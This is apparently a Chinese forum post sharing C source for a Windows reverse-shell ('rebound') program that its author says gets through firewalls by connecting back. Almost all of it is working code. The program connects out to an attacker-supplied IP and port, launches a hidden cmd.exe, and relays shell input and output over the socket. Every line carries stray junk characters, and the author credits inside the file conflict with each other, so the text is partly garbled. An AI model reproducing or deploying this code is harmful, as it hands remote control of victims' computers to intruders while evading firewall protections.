这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 KD.|oo
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/* ============================== V-eRGSx
Rebound port in Windows NT 5Dzf[V^]`
By wind,2006/7 sNM ]bei
===============================*/ D -d
#include O_]hbXV0
#include i%[+C
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#pragma comment(lib,"wsock32.lib") )F Nn
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void OutputShell(); )/)[}wN;j
SOCKET sClient; hQ'W7EF
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GUZ.Pw
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void main(int argc,char **argv) V~p01f"J
{ `mA;1S
WSADATA stWsaData; Tdm|=xI
int nRet; 4EmdQn
SOCKADDR_IN stSaiClient,stSaiServer; Q-rG~O9-
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if(argc != 3) lrj&60R`w
{ ,H%[R+)
printf("Useage:\n\rRebound DestIP DestPort\n"); -DK6(<:0
return; r8?p6E
} 9!FU,4 X
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WSAStartup(MAKEWORD(2,2),&stWsaData); qYJ<I'Ux O
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r-go921
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stSaiClient.sin_family = AF_INET; ;S
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stSaiClient.sin_port = htons(0); 6 &0r/r
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0|.jIix;
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jXLd#6
{ i1XRBC9
printf("Bind Socket Failed!\n"); .{\eco
return; c?e-2Dp(
} lg8@^Pm$r;
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stSaiServer.sin_family = AF_INET; g e(,>xB
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); yQMwt|C4
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sOlnc 6
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w;yzgj:n&f
{ #>("(euXMF
printf("Connect Error!"); VnVBA-#r|
return; 2|=hF9
} *asv^aFpS
OutputShell(); &3Yj2Fw
} 9I]Bt=2z
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void OutputShell() '?| 1\j
{ ]"b:IWPeI
char szBuff[1024]; }x\#ul)
SECURITY_ATTRIBUTES stSecurityAttributes; eG1V:%3
OSVERSIONINFO stOsversionInfo; Er%&y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [K$5Rm5
STARTUPINFO stStartupInfo; :CW^$Zvq
char *szShell; ,|s*g'u
PROCESS_INFORMATION stProcessInformation; JPAjOcmU/
unsigned long lBytesRead; |(Mxbprz
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :MY=Q]l
#
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n)"JMzjQ<
stSecurityAttributes.lpSecurityDescriptor = 0; \?
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stSecurityAttributes.bInheritHandle = TRUE; 4pf@.ra,
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y;Cs#eo
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); E&zf<Y
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $uDgBZA\
stStartupInfo.wShowWindow = SW_HIDE; cJaA*sg
stStartupInfo.hStdInput = hReadPipe; Lm~<BBp.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0S$k;q
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GetVersionEx(&stOsversionInfo); =Q40]>bpx
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switch(stOsversionInfo.dwPlatformId) 2I [zV7 @t
{ x
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case 1: %S;AM\o4
szShell = "command.com"; Hvm}@3F|
break; o& FOp'
default: h8asj0
szShell = "cmd.exe"; ZI!:
break; 4F|79U #
} 9=ygkP Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); O'wmhLa"W
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send(sClient,szMsg,77,0); p?y2j
while(1) W+!UVUpW
{ +Pb:<WT}%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7j\^h2
if(lBytesRead) 8xO
{ 6/S.sj~
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); aYaEy(m
send(sClient,szBuff,lBytesRead,0); }8x+F2i
} cZxY,UvYa
else T<pG$4_
{ *uyP+f2O
lBytesRead=recv(sClient,szBuff,1024,0); RH;ulAD6(~
if(lBytesRead<=0) break; U<w8jVE
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); A+RW=|:
} ~r.R|f]IQ
} dR]-R/1|
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return; losqc *|
}